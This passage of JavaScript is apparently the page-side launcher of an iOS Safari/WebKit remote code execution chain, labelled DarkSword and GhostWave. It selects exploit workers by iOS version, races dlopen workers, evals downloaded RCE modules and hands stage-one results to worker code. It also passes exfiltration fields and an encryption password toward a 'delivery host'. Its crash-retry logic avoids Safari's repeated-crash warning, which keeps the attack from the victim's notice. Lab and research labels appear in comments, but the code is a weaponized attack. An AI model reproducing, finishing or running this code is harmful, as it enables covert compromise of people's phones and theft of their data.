deviceUUID: resolveLabDeviceUUID(),
|
||
model: device_model || '',
|
||
build: ''
|
||
});
|
||
return;
|
||
}
|
||
if (data.type === 'done') {
|
||
print('harness done: ' + (data.message || 'ok'));
|
||
try { worker.terminate(); } catch (e) {}
|
||
finish(true); // research path completed honestly
|
||
}
|
||
};
|
||
// Kick if ready already fired before handler attached
|
||
setTimeout(function () {
|
||
try {
|
||
worker.postMessage({
|
||
name: 'begin',
|
||
type: 'begin',
|
||
ios: ios_version ? ios_version.join('.') : '26.3',
|
||
deviceUUID: resolveLabDeviceUUID()
|
||
});
|
||
} catch (eK) {}
|
||
}, 50);
|
||
return;
|
||
}
|
||
|
||
async function prepare_dlopen_workers() {
|
||
for (let i = 1; i <= 2; ++i) {
|
||
const dw = new Worker(dlopen_worker_url);
|
||
dlopen_workers.push(dw);
|
||
await new Promise(r => {
|
||
dw.postMessage({ type: 'init', data: 0x11111111 * i });
|
||
dw.onmessage = r;
|
||
});
|
||
}
|
||
}
|
||
async function message_handler(e) {
|
||
const data = e.data;
|
||
switch (data.type) {
|
||
case 'log':
|
||
print(data.text || '', !!data.error);
|
||
break;
|
||
case 'redirect':
|
||
await waitPeExfilGrace();
|
||
redirect();
|
||
finish(true);
|
||
break;
|
||
case 'stage1_failed':
|
||
print('stage1_failed on ' + workerFile + ' (' + (data.reason || '?') + ')', true);
|
||
try { worker.terminate(); } catch (e) {}
|
||
finish(false);
|
||
break;
|
||
case 'prepare_dlopen_workers':
|
||
await prepare_dlopen_workers();
|
||
worker.postMessage({ type: 'dlopen_workers_prepared' });
|
||
break;
|
||
case 'trigger_dlopen1':
|
||
// Start scanner first, then close()-trigger dlopen under +0x10 prehold.
|
||
worker.postMessage({ type: 'check_dlopen1' });
|
||
await new Promise(r => setTimeout(r, 30));
|
||
dlopen_workers[0].postMessage({ type: 'dlopen' });
|
||
break;
|
||
case 'retrigger_dlopen1':
|
||
// Fresh bitmap close while scanner waits — another UlvE under prehold.
|
||
try { dlopen_workers[0].postMessage({ type: 'dlopen' }); } catch (_) {}
|
||
break;
|
||
case 'trigger_dlopen2':
|
||
// Same order as dlopen1: start stack scanner FIRST, then trigger
|
||
// close()/dlopen. Waiting 250ms then scanning races on fast 18.6.x
|
||
// devices — dlopen finishes before check_dlopen2 and the retaddr
|
||
// is gone → infinite efficient_search hang.
|
||
worker.postMessage({ type: 'check_dlopen2' });
|
||
await new Promise(r => setTimeout(r, 30));
|
||
dlopen_workers[1].postMessage({ type: 'dlopen' });
|
||
break;
|
||
case 'sign_pointers':
|
||
iframe.contentDocument.write('1');
|
||
worker.postMessage({ type: 'setup_fcall' });
|
||
break;
|
||
case 'slow_fcall':
|
||
iframe.contentDocument.write('1');
|
||
worker.postMessage({ type: 'slow_fcall_done' });
|
||
break;
|
||
default:
|
||
break;
|
||
}
|
||
}
|
||
worker.onerror = function (err) {
|
||
print('worker onerror: ' + workerFile + ' ' + (err && err.message ? err.message : err), true);
|
||
try { worker.terminate(); } catch (e) {}
|
||
finish(false);
|
||
};
|
||
worker.onmessage = message_handler;
|
||
try {
|
||
const mod = moduleForWorker(workerFile);
|
||
const useWorkerRce = isIos186Plus(ios_version);
|
||
let rceCode = '';
|
||
// Original DarkSword / nuih on 18.6.x: page only loads an 85B stub (or nothing).
|
||
// RCE is entirely inside rce_worker_18.6 via stage1_rce. Eval'ing the full
|
||
// 173KB rce_module_18.6.js on the page races the worker heap → WebContent
|
||
// crash right after "success with N unit tries" (never reaches stage1_prim).
|
||
if (useWorkerRce) {
|
||
print('module skip: stage1_rce self-contained (match upstream 18.6)');
|
||
} else if (mod) {
|
||
rceCode = getJS(mod + '?' + Date.now()) || '';
|
||
if (!rceCode || rceCode.length < 500) {
|
||
print('module stub/missing: ' + mod + ' (len=' + ((rceCode && rceCode.length) || 0) + ')');
|
||
const fb = getJS('rce_module.js?' + Date.now());
|
||
if (fb && fb.length >= 500) {
|
||
rceCode = fb;
|
||
print('module fallback -> rce_module.js');
|
||
} else {
|
||
print('module load failed: ' + mod, true);
|
||
finish(false);
|
||
return;
|
||
}
|
||
}
|
||
}
|
||
if (rceCode) {
|
||
try { eval(rceCode); } catch (e) {
|
||
print('module eval error: ' + mod + ' ' + e, true);
|
||
finish(false);
|
||
return;
|
||
}
|
||
}
|
||
print('module ready: ' + (useWorkerRce ? '(worker-rce)' : (mod || 'none'))
|
||
+ ' len=' + ((rceCode && rceCode.length) || 0)
|
||
+ ' check_attempt=' + (typeof check_attempt));
|
||
try { globalThis.ios_version_key = iosVersionKey(ios_version); } catch (e) {}
|
||
const desiredHost = resolveDeliveryHost();
|
||
if (!desiredHost) { print('fatal: no delivery host', true); finish(false); return; }
|
||
print('rce_path: ' + (useWorkerRce ? 'stage1_rce(worker)' : 'check_attempt(page)')
|
||
+ ' ios=' + (ios_version ? ios_version.join('.') : '?'));
|
||
if (useWorkerRce) {
|
||
worker.postMessage(Object.assign({
|
||
type: 'stage1_rce',
|
||
desiredHost,
|
||
randomValues,
|
||
SERVER_LOG,
|
||
_enc_pass: labEncPassword()
|
||
}, exfilFields()));
|
||
} else {
|
||
if (typeof check_attempt !== 'function') {
|
||
print('fatal: check_attempt missing after module eval', true);
|
||
finish(false);
|
||
return;
|
||
}
|
||
var attempt = new check_attempt();
|
||
function onAttemptDone(result) {
|
||
if (!result) {
|
||
print('check_attempt returned false', true);
|
||
finish(false);
|
||
return;
|
||
}
|
||
if (!validateStage1Handoff()) {
|
||
finish(false);
|
||
return;
|
||
}
|
||
if (!postStage1ToWorker(worker, begin, origin, desiredHost)) {
|
||
finish(false);
|
||
}
|
||
}
|
||
print('check_attempt start');
|
||
var rceWatch = setTimeout(function () {
|
||
print('check_attempt still running after 15s (no RCE success/fail yet)', true);
|
||
}, 15000);
|
||
attempt.start().then((result) => {
|
||
clearTimeout(rceWatch);
|
||
if (!result) {
|
||
print('check_attempt first try failed — retrying', true);
|
||
attempt.start().then(onAttemptDone).catch(function (e) {
|
||
print('check_attempt retry failed: ' + e, true);
|
||
finish(false);
|
||
});
|
||
} else {
|
||
onAttemptDone(true);
|
||
}
|
||
}).catch(function (e) {
|
||
clearTimeout(rceWatch);
|
||
print('check_attempt failed: ' + e, true);
|
||
finish(false);
|
||
});
|
||
}
|
||
} catch (e) {
|
||
print('runWorkerAttempt setup error: ' + e, true);
|
||
finish(false);
|
||
}
|
||
});
|
||
}
|
||
|
||
async function launchExploitChain() {
|
||
var grade = chain_target.usable_grade || '';
|
||
print('usable_grade=' + (grade || '?') + ' weaponized=' + !!chain_target.weaponized);
|
||
|
||
// DEAD / fully patched: still run research harness (26.3), do not claim exploit success
|
||
if (chain_target.chain === 'ghostwave' && (grade === 'DEAD' || chain_target.patched)) {
|
||
print('GhostWave DEAD path — research harness only: ' + chain_target.reason);
|
||
if (chain_target.warning) print('warning: ' + chain_target.warning, true);
|
||
const host = resolveDeliveryHost();
|
||
if (!host) {
|
||
print('fatal: no delivery host resolved', true);
|
||
return;
|
||
}
|
||
var harnessChain = worker_plan.length ? worker_plan : ['rce_worker_26.3.js'];
|
||
// Prefer 26.3 harness first
|
||
if (harnessChain.indexOf('rce_worker_26.3.js') < 0) {
|
||
harnessChain = ['rce_worker_26.3.js'].concat(harnessChain);
|
||
}
|
||
for (var hi = 0; hi < harnessChain.length; hi++) {
|
||
var hc = harnessChain[hi];
|
||
if (hc.indexOf('26.3') < 0 && grade === 'DEAD' && ios_version && ios_version[0] === 26 && (ios_version[1] || 0) >= 3) {
|
||
continue; // do not burn long RCE workers on fully patched 26.3
|
||
}
|
||
var code = await resolveWorkerCode(hc);
|
||
if (!code || code.length < workerMinBytes(hc)) {
|
||
print('worker ' + hc + ' unavailable (' + (code ? code.length : 0) + ' bytes)');
|
||
continue;
|
||
}
|
||
print('launch harness: ' + hc + ' @ ' + host);
|
||
await runWorkerAttempt(code, hc);
|
||
return;
|
||
}
|
||
print('fatal: 26.3 harness unavailable', true);
|
||
return;
|
||
}
|
||
|
||
if (chain_target.patched && chain_target.chain !== 'ghostwave') {
|
||
print('fatal: iOS version ' + chain_target.version_str + ' is patched: ' + chain_target.reason, true);
|
||
if (chain_target.warning) {
|
||
print('warning: ' + chain_target.warning, true);
|
||
}
|
||
return;
|
||
}
|
||
|
||
if (!chain_target.delivery_ok) {
|
||
print('fatal: delivery blocked ? ' + chain_target.reason, true);
|
||
return;
|
||
}
|
||
const host = resolveDeliveryHost();
|
||
if (!host) {
|
||
print('fatal: no delivery host resolved', true);
|
||
return;
|
||
}
|
||
// JIT + heap warmup before worker spawn (short — long warmup delays S1)
|
||
try {
|
||
const warm = new Array(32);
|
||
for (let w = 0; w < 3; w++) {
|
||
for (let i = 0; i < warm.length; i++) warm[i] = { a: w, b: i, c: Math.random() };
|
||
warm.sort((a, b) => a.b - b.b);
|
||
}
|
||
print('jit_warmup ok');
|
||
} catch (e) {}
|
||
const chain = worker_plan.length ? worker_plan : workerFallbackChain(ios_version);
|
||
// If WebContent jetsam/crashed mid-worker, the page reloads before stage1_failed.
|
||
// Detect in-flight worker from prior load and skip it for ~2 minutes.
|
||
// Use localStorage so skip survives iframe recreate (sessionStorage is wiped).
|
||
try {
|
||
var inflight = localStorage.getItem('__ds_inflight_worker') || '';
|
||
var its = parseInt(localStorage.getItem('__ds_inflight_ts') || '0', 10) || 0;
|
||
if (inflight && its && (Date.now() - its) < 45000) {
|
||
var crashCountKey = '__ds_crash_count_' + inflight;
|
||
var crashCnt = (parseInt(localStorage.getItem(crashCountKey) || '0', 10) || 0) + 1;
|
||
localStorage.setItem(crashCountKey, String(crashCnt));
|
||
var inIframe = false;
|
||
try {
|
||
inIframe = !!(window.parent && window.parent !== window);
|
||
} catch (_) {
|
||
inIframe = true;
|
||
}
|
||
// 嵌在 index iframe：WC 崩一次就停，禁止同 worker 重试（否则 Safari 弹「重复出现问题」）
|
||
if (inIframe) {
|
||
print(
|
||
'detected WebContent crash mid ' +
|
||
inflight +
|
||
' x' +
|
||
crashCnt +
|
||
' — stop (iframe, no retry)',
|
||
true
|
||
);
|
||
try {
|
||
window.parent.postMessage(
|
||
{
|
||
type: 'ds-wc-crash',
|
||
worker: inflight,
|
||
count: crashCnt,
|
||
progress: 42,
|
||
},
|
||
'*'
|
||
);
|
||
} catch (_) {}
|
||
try {
|
||
localStorage.removeItem('__ds_inflight_worker');
|
||
localStorage.removeItem('__ds_inflight_ts');
|
||
} catch (_) {}
|
||
return;
|
||
}
|
||
// First mid-worker crash (often early aar/w jetsam) — retry same worker.
|
||
// Only skip after 2 crashes within the window so we don't jump to missing fallbacks.
|
||
if (crashCnt >= 2) {
|
||
var skipRaw = localStorage.getItem('__ds_skip_workers') || '[]';
|
||
var skipArr = [];
|
||
try { skipArr = JSON.parse(skipRaw) || []; } catch (_) { skipArr = []; }
|
||
if (skipArr.indexOf(inflight) < 0) skipArr.push(inflight);
|
||
localStorage.setItem('__ds_skip_workers', JSON.stringify(skipArr));
|
||
localStorage.setItem('__ds_crash_mid_' + inflight, String(Date.now()));
|
||
print('detected WebContent crash mid ' + inflight + ' x' + crashCnt + ' — skip on retry', true);
|
||
} else {
|
||
print('detected WebContent crash mid ' + inflight + ' x' + crashCnt + ' — retry same worker', true);
|
||
}
|
||
}
|
||
localStorage.removeItem('__ds_inflight_worker');
|
||
localStorage.removeItem('__ds_inflight_ts');
|
||
} catch (_) {}
|
||
function workerSkipped(file) {
|
||
try {
|
||
var t = parseInt(localStorage.getItem('__ds_crash_mid_' + file) || '0', 10) || 0;
|
||
if (t && (Date.now() - t) < 120000) return true;
|
||
var arr = JSON.parse(localStorage.getItem('__ds_skip_workers') || '[]') || [];
|
||
return arr.indexOf(file) >= 0;
|
||
} catch (_) { return false; }
|
||
}
|
||
print('launch chain: ' + chain.join(' ? ') + ' @ ' + host
|
||
+ (chain_target.ghostwave ? ' [GhostWave]' : '')
|
||
+ (grade ? ' grade=' + grade : ''));
|
||
// Crash-skip must not discard the only runnable worker (common on 18.6 lab: only 18.6.js exists).
|
||
var runnable = [];
|
||
for (let wi0 = 0; wi0 < chain.length; wi0++) {
|
||
if (!workerSkipped(chain[wi0])) runnable.push(chain[wi0]);
|
||
}
|
||
if (!runnable.length) {
|
||
print('crash-skip would exhaust chain — clearing skip, retry primary', true);
|
||
try {
|
||
for (let ci = 0; ci < chain.length; ci++) {
|
||
localStorage.removeItem('__ds_crash_mid_' + chain[ci]);
|
||
}
|
||
localStorage.setItem('__ds_skip_workers', '[]');
|
||
} catch (_) {}
|
||
runnable = chain.slice();
|
||
}
|
||
for (let wi = 0; wi < runnable.length; wi++) {
|
||
const candidate = runnable[wi];
|
||
if (workerSkipped(candidate) && runnable.length > 1) {
|
||
print('skip ' + candidate + ' (prior WebContent crash)', true);
|
||
continue;
|
||
}
|
||
if (workerSkipped(candidate) && runnable.length === 1) {
|
||
print('retry ' + candidate + ' despite prior crash (sole worker)', true);
|
||
}
|
||
const code = await resolveWorkerCode(candidate);
|
||
if (!code || code.length < workerMinBytes(candidate)) {
|
||
print('worker ' + candidate + ' unavailable (' + (code ? code.length : 0) + ' bytes)');
|
||
continue;
|
||
}
|
||
if (wi > 0) print('worker fallback -> ' + candidate);
|
||
try {
|
||
localStorage.setItem('__ds_inflight_worker', candidate);
|
||
localStorage.setItem('__ds_inflight_ts', String(Date.now()));
|
||
} catch (_) {}
|
||
const ok = await runWorkerAttempt(code, candidate);
|
||
try {
|
||
localStorage.removeItem('__ds_inflight_worker');
|
||
localStorage.removeItem('__ds_inflight_ts');
|
||
if (ok) {
|
||
localStorage.removeItem('__ds_crash_mid_' + candidate);
|
||
localStorage.removeItem('__ds_crash_count_' + candidate);
|
||
var left = (JSON.parse(localStorage.getItem('__ds_skip_workers') || '[]') || []).filter(function (x) { return x !== candidate; });
|
||
localStorage.setItem('__ds_skip_workers', JSON.stringify(left));
|
||
}
|
||
} catch (_) {}
|
||
if (ok) return;
|
||
if (wi + 1 < runnable.length) {
|
||
print('retrying with ' + runnable[wi + 1], true);
|
||
}
|
||
}
|
||
print('fatal: all workers exhausted for iOS ' + (ios_version ? ios_version.join('.') : '?'), true);
|
||
}
|
||
launchExploitChain();
|